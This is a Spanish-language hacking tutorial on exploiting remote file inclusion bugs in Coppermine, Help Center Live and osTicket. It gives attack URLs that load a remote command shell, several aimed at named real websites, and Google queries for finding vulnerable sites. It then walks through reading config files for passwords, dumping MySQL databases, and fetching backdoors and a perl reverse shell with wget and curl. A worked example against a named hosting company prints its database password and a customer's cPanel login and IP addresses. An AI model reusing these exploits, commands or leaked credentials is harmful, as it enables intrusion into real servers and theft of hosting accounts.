Continuando con la primera parte seguimos con ejemplos de rfi como explotarlos accesos a hosting y dump de la base de datos via mysql
==========================================Vamos a por mas ejemplos vulnerables:
Coppermine photo album
Bug:
El bug reside en el archivo functions.inc.php
Exploit en versiones Coppermine: 1.2.0 RC4
http://www.server.com/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.tuserver.com/script.txt
Ejemplo real ;):
http://www.snorkkeli.net//modules/coppermine/include/init.inc.php?CPG_M_DIR=http://usuarios.lycos.es/servertec/cmd3.txt?cmd&cmd&act=cmd
Exploit en versiones Coppermine: 1.2.2b
http://www.server.com/modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.tuserver.com/script.txt
Ejemplo real ;):
http://www.weitzman.net/modules/coppermine/themes/default/theme.php?THEME_DIR=http://usuarios.lycos.es/servertec/cmd3.txt?cmd&cmd&act=cmd
google: versiones 1.20 (exploit: /modules/coppermine/include/init.inc.php?CPG_M_DIR=)
http://www.google.com/search?hl=es&q=%22powered+by+Coppermine+Photo+Gallery+v1.2.0%22&lr=
google: versiones 1.2.2 (exploit: /modules/coppermine/themes/default/theme.php?THEME_DIR=)
http://www.google.com/search?hl=es&q=%22powered+by+Coppermine+Photo+Gallery+v1.2.2%22&lr=
Nota: He comprobado que existen miles de webs con este sistema de tickets les recomendaria realizar
la busqueda por paises (paises grandes) o simplemente por dominio (.com .net .info, etc) asi ahorrariamos
bastante y filtrariamos muchas webs que luego en toras busquedas podemos hallar.-
google versiones 1.2.2 en sitios con dominio .info:
http://www.google.com/search?hl=es&q=%22powered+by+Coppermine+Photo+Gallery+v1.2.2%22+site%3Ainfo&btnG=B%C3%BAsqueda&lr=
=============================================================================
Help Center Live versiones anteriores a: 1.2.7
Bug:
http://www.server.com/inc/pipe.php?HCL_path=http://www.tuserver.com/script.txt
Ejemplo real ;):
http://www.bygbutik.dk/live/inc/pipe.php?HCL_path=http://usuarios.lycos.es/servertec/cmd3.txt?cmd&cmd&act=cmd
Nota: en este bug pueden aparecer varias webs que NO necesariamente esten ubicadas el help center live en:
/live sino que puede ser tambien que nos encontremos con webs asi:
http://support.web.com/
http://www.web.com/support
http://www.web.com/help
http://www.web.com/hcl
http://www.web.com/livehelp
etc etc en esos casos siempre el path real es la continuacion de help o support o loq ue sea ejemplo:
si encontramos:
http://support.web.com/ el exploit seria: http://support.web.com/inc/pipe.php?HCL_path=http://usuarios.lycos.es/servertec/cmd3.txt?cmd&cmd&act=cmd
http://www.web.com/support/inc/pipe.php?HCL_path=http://usuarios.lycos.es/servertec/cmd3.txt?cmd&cmd&act=cmd
http://www.web.com/help/inc/pipe.php?HCL_path=http://usuarios.lycos.es/servertec/cmd3.txt?cmd&cmd&act=cmd
http://www.web.com/hcl/inc/pipe.php?HCL_path=http://usuarios.lycos.es/servertec/cmd3.txt?cmd&cmd&act=cmd
http://www.web.com/livehelp/inc/pipe.php?HCL_path=http://usuarios.lycos.es/servertec/cmd3.txt?cmd&cmd&act=cmd
Help Center live trae un subdir que generalmente se llama "tt" algo asi: /help/tt en estos casos hay que borrar el "tt"
ya que es un subdir y no encontrariamo el directorio /inc que es donde reside el bug :)
google: Versiones 1.2.6
http://www.google.com/search?hl=es&q=%22powered+by+help+center+live+1.2.6%22&meta=
Para las demas versiones cambiamos: 1.2.6 por 1.2.5, 1.2.4 etc
Nota: He comprobado que existen miles de webs con este sistema de tickets les recomendaria realizar
la busqueda por paises (paises grandes) o simplemente por dominio (.com .net .info, etc) asi ahorrariamos
bastante y filtrariamos muchas webs que luego en toras busquedas podemos hallar.-
Ejmplo:
google buscando versiones 1.2.6 en paises .br
http://www.google.com/search?hl=es&q=%22powered+by+help+center+live+1.2.6%22+site%3Abr&lr=
google buscando versiones 1.2.6 en dominios .net
http://www.google.com/search?hl=es&q=%22powered+by+help+center+live+1.2.6%22+site%3Anet&lr=
Acuerdense que las versiones anteriores a 1.2.7 tambien son vulnerables.-
=============================================================================
Osticket:
Bug:
http://www.server.com/DIR_OSTICKET/include/main.php?config[search_disp]=true&include_dir=http://www.tuserver.com/script.txt
Este bug es comun tambien auqnue ahyq eu darse un poco de "cabeza" para buscar webs vulnerables.-
Si buscamos en google "powered by osticket" vemos:
Resultados 1 - 10 de aproximadamente 134 de "powered by osticket". (0.34 segundos)
http://www.google.com/search?hl=es&q=%22powered+by+osticket%22&lr=
Los cual nos trearia una decepcion :_(
Pero pensando buscamos:
http://www.google.com/search?q=inurl%3A%22support%22+%22osticket%22+%22view.php%22&hl=es
Resultados 1 - 10 de aproximadamente 637 de "support" "osticket" "view.php". (0,43 segundos)
Y hay mas se los aseguro ;)
Bien el mismo problema que help center live, nos podemos encontrar con subdirs como:
www.server.com/support/
http://support.server.com/
y sucesivamente :P simplementes tenemos que agregar:
www.server.com/support/include/main.php?config[search_disp]=true&include_dir=http://www.tuserver.com/script.txt
http://support.server.com/include/main.php?config[search_disp]=true&include_dir=http://www.tuserver.com/script.txt
etc etc
Nota: en algunos casos para simplificar la busqueda he agregado que busque el archivo: view.php en ese caso solo sacamos:
view.php y dejamos algo asi:
resultado: http://www.server.com/support/view.php
exploit: http://www.server.com/support/include/main.php?config[search_disp]=true&include_dir=http://www.tuserver.com/script.txt
=======================================================================================
=================================IMPORTANTES COMANDOS==================================
=======================================================================================
Bueno he aclarado un par fallos comunes si desean mas info acerca de algun include en especial
o la forma de explotarlo comuniquense conmigo (nick root en quien sabe donde) o por mail
Esta dirección electrónica esta protegida contra spambots. Es necesario activar Javascript para visualizarla
(=msn)
IMPORTANTE: cambiar http://www.tuserver.com/script.txt por
http://usuarios.lycos.es/servertec/cmd3.txt?cmd&cmd&act=cmd
y en el cuadro donde dice: Execution command debajo agregar los comandos
IMPORTANTE2: en el c99.gif cuando demos comandos no pulsar "enter" ya que bajaria una linea y no funcionaria
solo ponemos el comando y le damos en "execute"
Podemos agregar varios comandos siempre separados por ";" sin comillas :P
Algunos comandos Excelentes:
Para buscar el archivo httpd.conf en el cual salen todas las webs en els ervidor actual:
Ponemos:
locate httpd.conf y nos saldra donde esta ubicado, en el caso que no tengamos permiso para ejecutar locate
no se preocupen generalmente (en la gran mayoria de los casos) se encuentra en /etc/httpd/conf/httpd.conf
a veces puede estar en: /etc/apache/conf, entonces una vez localizado el httpd.conf hacemos:
suponiendo que se encuentra en: /etc/httpd/conf/httpd.conf
cat /etc/httpd/conf/httpd.conf | grep ServerName
nos saldra algo asi como:
# ServerName allows you to set a host name which is sent back to clients for
ServerName www.web.com
ServerName www.web2.com
ServerName www.web3.com
etc etc Alli ya tenemos las webs dentro del server .. pero mm ¿de que carajo nos sirve?
Tranquilos he aqui la solucion, luego de haber isto que webs posee el servidor nos resta saber
donde estan ubicadas, entonces realizamos:
cat /etc/httpd/conf/httpd.conf | grep DocumentRoot
Nos sale:
DocumentRoot /www/docs/web/
DocumentRoot /www/docs/web1/
DocumentRoot /www/docs/web2/
etc etc
cada linea de ServerName corresponde a igual linea en DocumentRoot aveces nos podemos encontrar con cosas:
ServerName www.quierohackear.com
ServerName www.cualquiercosa.com
ServerName www.etcetc.com
y en documentroot:
DocumentRoot /www/docs/franco/
DocumentRoot /www/docs/matias/
DocumentRoot /www/docs/bla/
en estos casos franco seria el user que tiene la web www.quierohackear.com y asi sucesivamente :)
entonces para ver el contenido y los archivos de la web hacemos:
ls /www/docs/web/public_html (public_html es donde se guarda la web que se ve siempre, no podremos
ver el raiz es decir /www/docs/web/ ya que no tenemos permisos)
ok ahora lo ams importante es tratar de encontrar archvios como config.php database.php db.php etc etc que son
los que contienen passwords :) entonces realizamos:
cat /www/docs/web/public_html/config.php (en el caso qeu se llame asi el archivo) y ese comando
nos deja ver lo que NO podemos ver por www es decir el contenido del archivo :)
Nota: podemos "espiar" todos los directorios y demas si queremos ver un archivo solo agregamos el dir donde esta.
Ejemplo:
cat /www/docs/web/public_html/admin/config.php
cat /www/docs/web/public_html/database/config.php
etc etc.-
================================== MYSQLDUMP :) =================================
Esta es la parte que mas me gusta he logrado sacar mas de 500 hostings datos etc etc.-
Mysqldump es una utilidad de mysql para "dumpear" es decir volcar el contenido de una base
supogamos que encontramos realizando cat... /www/docs/web/public_html/config.php las siguientes lineas:
mysql_user: user1;
mysql_pass: passuser1;
mysql_database: user_db;
o cosas parecidas realizamos siempre en donde ponemos los comandos es decir en el text box del c99.gif:
mysqldump -u user1 -p passuser1 -user_db >/tmp/hack.txt
Veamos por partes:
mysqldump <-- para dumpear
-u user1 <-- -u es el user que vamos aaa usar en este caso: user1 (puede ir separado o junto: -uuser1)
-p passuser1 <--- -p el passwd del userrr1 idem que user peude ir junto o separado
-user_db <-- -user_db es donde ingresammmos el nombre de la base de datos ene ste caso user_db
> /tmp/hack.txt <--- siempre mandamos la salida al dir /tmp que tiene permisos y bajo el nombre hack.txt
Nota: en user_db podemos realizar tambien el dump de TODAS las bases de datos que posea el user1 con la
siguiente opcion:
-A (seria algo como -all-databases volcccadod e todas als bases del user1)
quedaria:
mysqldump -u user1 -p passuser1 -A >/tmp/hack.txt
Una vez que termino para ver el contenido realizamos:
cat /tmp/hack.txt
y alli podremos buscar por passwords datos interesantes etc.-
===Downloads backdoors o demas hierbas :P
Simplemente el comando wget nos ayudara:
cd /tmp; wget www.server.com/backdoor
vamos al dir /tmp que tiene permisos y bajamos el archivo backdoor ubicado en nuestro server
cd /tmp; chmod 7777 backdoor (le damos permisos de ejecucion)
cd /tmp;./backdoor (ejecutamos)
Bien ya hemos visto temas como buscar passwd viendo webs etc, ahora vamos a ver temas de como
tratar d eobtener acceso a la shell del servidor.-
En el script c99.gif vamos al text box y ponemos: cd /tmp (este el directorio donde tenemos
permisos para escribir ejecutar etc) y trataremos de bajar algun backdoor.-
1) R0nin:
Este es un conocido backdoor que no necesita permisos de usuario root para ejecutarse, realmente no es
de mi agrado ya que mucha gente lo usa cualqueir eprsona que escanee el puerto 1666 que es el puerto
que usa el troyano puede tener acceso a la shell por dos motivos: no usa password solo abre un puerto
y otra es que al ser tan conocido es facil escanear y tratar de encontrar webs o servers vuln.
Ahora procederemos a bajarlo al dir /tmp antes mencionado: agregamos estas lineas al text box:
cd /tmp;wget (primeros vemos si tenemos permiso o se encuentra disponible el wget para trat de bajar algo)
en el caso que responda algo asi:
wget missing url..
... [URL]...
es por que esta instalado y tenemos el permiso para ejecutarlo, ya que en algunos servidores con estos
fallos no se puede.
Ok vamos a bajar el troyano de esta manera (siempre en el text box del script):
cd /tmp;wget http://www.tuserver.com/r0nin
Luego de eso procedemos a darle permisos de ejecucion:
cd /tmp;chmod 7777 r0nin
Luego ejecutamos:
cd /tmp;./r0nin
Y si todo salio a la perfeccion tenemos un backdoor corriendo en el puerto 1666, para conectarse
bastara con hacer telnet a la ip de la victima al puerto 1666.-
2) 9000 (no se el nombre asi que le puse 9000 lol)
Procedemos de la misma manera:
cd /tmp;wget (primeros vemos si tenemos permiso o se encuentra disponible el wget para trat de bajar algo)
en el caso que responda algo asi:
wget missing url..
... [URL]...
es por que esta instalado y tenemos el permiso para ejecutarlo, ya que en algunos servidores con estos
fallos no se puede.
Ok vamos a bajar el troyano de esta manera (siempre en el text box del script):
cd /tmp;wget http://www.tuserver.com/9000 (aqui se los dejo)
Luego de eso procedemos a darle permisos de ejecucion:
cd /tmp;chmod 7777 9000
Luego ejecutamos:
cd /tmp;./9000
Y si todo salio a la perfeccion tenemos un backdoor corriendo en el puerto 1666, para conectarse
bastara con hacer telnet a la ip de la victima al puerto 9000
3) Corriendo perl shells
La ventaja de las perl shells es que aun no teniendo permisos para ejecutar los binarios, podremos
hacer correr un pequeño script en perl :) el cual nunca o pocas veces se resiste
Ok vamos a bajar el scrip de esta manera (siempre en el text box del script):
cd /tmp;wget http://www.geocities.com/promospeedy/adiction/shell.txt (aqui se los dejo)
no hace falta permisos de ejecucion lo ejecutamos asi:
cd /tmp;perl shell.txt (cabe destacar que sea cual sea la extension funcionara de todas maneras
no necesariamente debe ser .pl el script)
y si todo va bien en nuestra pc o alguna remota ponemos:
nc -v ip_victima 4444 o nc ip_victima 4444
y si nos aparece: xxx.xxx.xxx.xx (open)
pues estamso dentro, el script siempre tratara de abrir una shell al puerto 4444
NOTAS: a veces el wget no esta o no tenemos permisos para ejecutarlo eso no es problema, procedemos
a ejecutar "curl" algo asi como wget el comando seria:
cd /tmp; curl -o shell.txt http://www.geocities.com/promospeedy/adiction/tools/shell.txt
donde: -o shell.txt es el archivod e salida podemos poner cualquier nombre y extension)
de esta manera tenemos el archivo shell.txt en el directorio tmp , curl nunca falla :)
================================ TIPS TIPS TIPS TIPS =================================
Para encontrar users cpanel o whm 8web host manager) o demas passwords cuando realizamos el
cat /etc/httpd.conf/httpd.conf | grep.... y ya tenemos la lista de webs y dodne se ubican
es recomendable buscar algo como www.hosting.com o www.freewebs.com o algo que se pareezca a que
sea un hosting entonces vamos a ver el contenido de los archivos de esa web.-
Suponiendo que tenemos una web www.hosting.com y el directorio donde se encuentra es:
/www/webhost entonces procedemos a ver el contenido:
ls /www/webhost/public_html
dentro de alli buscaremos directorios o archivos config.php o dir con nombres como: /register
/billing /contratar etc etc entonces solo dentro de alli buscamos archivos .php como config database admin etc.-
Ejemplo REAL :O
Si vemos esta web localizada en x servidor: http://www.centuryware.com/ vemos que es un hosting :O
y si vemos que para contratar un servicio nos redirije a : http://centuryware.com/order/step_one.php?gid=1
entonces sabemos que los datos estan en el directorio /order (muy comun en hostings)
Vamos a listar los archivos:
la web se localiza en : /home/cenware/public_html/
entonces vamos a ver el contenido del dir order dentro de esa web:
http://centuryware.com/support/inc/pipe.php?HCL_path=http://usuarios.lycos.es/servertec/cmd3.txt?&cmd=ls%20/home/cenware/public_html/order
y nos devuelve:
2checkout_success.php
admin
affiliate.php
affiliate_signup.php
affiliate_view.php
authnet_success.php
billing_history.php
cancel_account.php
cancel_revoke.php
cc_update.php
checkout_success.php
client_area.php
client_view.php
clogin.php
etc etc etc
ATENCION: todas TODAS las webs o webshostings que posean esos archivos dentro de order o bill 8puede llamarse de
diferentes maneras) los datos de la configuracion de la base de datos se encuentra en:
/order/inc en un archivo llamado: var.php (destaquemos que /order puede ser otro nombre como dijimos anteriormente como
/bill /billing etc)
entonces vamos a ver el contenido:
http://centuryware.com/support/inc/pipe.php?HCL_path=http://usuarios.lycos.es/servertec/cmd3.txt?&cmd=cat%20/home/cenware/public_html/order/inc/var.php
voila! obtenemos:
if ($_ENV) { extract( $_ENV, EXTR_OVERWRITE); }
if ($_REQUEST) { unset($_REQUEST); }
$dbhost="localhost";
$dbuser="cenware_whmap";
$dbpass="rbdc9vtrc8shgteg";
$db="cenware_whmap";
?>
=) ahora realizamos dumop como hemos aprendido:
http://centuryware.com/support/inc/pipe.php?HCL_path=http://usuarios.lycos.es/servertec/cmd3.txt?&cmd=mysqldump -ucenware_whmap -prbdc9vtrc8shgteg -A>hack.txt
luego lo vemos con:
http://centuryware.com/support/inc/pipe.php?HCL_path=http://usuarios.lycos.es/servertec/cmd3.txt?&cmd=cat%20/tmp/hack.txt
y vemos:
-- MySQL dump 9.11
--
-- Host: localhost Database:
-- -------------------------------------------------------
-- Server version 4.0.25-standard
blabla bla
entonces bajemos hasta la linea: hosting_order
Table structure for table `hosting_order`
--
CREATE TABLE hosting_order (
oid bigint(22) unsigned NOT NULL auto_increment,
blablabla
whm_username varchar(10) NOT NULL default '',
whm_password varchar(32) NOT NULL default '',
whm_id bigint(22) NOT NULL default '0',
:O ahi tenemos los datos de las webs y los users passwd correspondientes
ejemplo:
INSERT INTO hosting_order VALUES (1,2,'S-5SX33554CW4401407','1122014420',5,1,0,'codehunters.net',0,0,'//',0,'1','monthly','','ns1.centuryware.com','ns2.centuryware.com',0.01,0.01,'','','codehun','9560193',2,1119465620,'66.195.124.254',0,NULL,0,NULL,'',0,'','',NULL,'68.33.111.73','pcp0010073559pcs.ocncty01.md.comcast.net',1,'','Please install it on my ass','ns1','ns2','','','','','',0,'','0','','','');
laweb: 'codehunters.net'
el user: 'codehun'
el pass: '9560193'
jo ahora vamos a la web: http://codehunters.net/cpanel
e ingresamos user pass que sale en la base de datos.-
=) y ya tenemos hosting





